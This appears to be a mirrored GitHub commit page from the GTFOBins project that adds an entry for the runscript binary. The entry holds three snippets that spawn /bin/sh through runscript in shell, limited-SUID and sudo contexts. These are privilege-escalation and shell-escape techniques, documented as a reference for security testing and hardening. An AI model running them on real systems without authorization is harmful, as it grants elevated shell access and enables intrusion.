mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-24 13:59:17 +01:00
Add runscript
This commit is contained in:
parent
72cb09f404
commit
cbab01b495
18
_gtfobins/runscript.md
Normal file
18
_gtfobins/runscript.md
Normal file
@ -0,0 +1,18 @@
|
||||
---
|
||||
functions:
|
||||
shell:
|
||||
- code: |
|
||||
TF=$(mktemp)
|
||||
echo '! exec /bin/sh' >$TF
|
||||
runscript $TF
|
||||
limited-suid:
|
||||
- code: |
|
||||
TF=$(mktemp)
|
||||
echo '! exec /bin/sh' >$TF
|
||||
./runscript $TF
|
||||
sudo:
|
||||
- code: |
|
||||
TF=$(mktemp)
|
||||
echo '! exec /bin/sh' >$TF
|
||||
sudo runscript $TF
|
||||
---
|
Loading…
Reference in New Issue
Block a user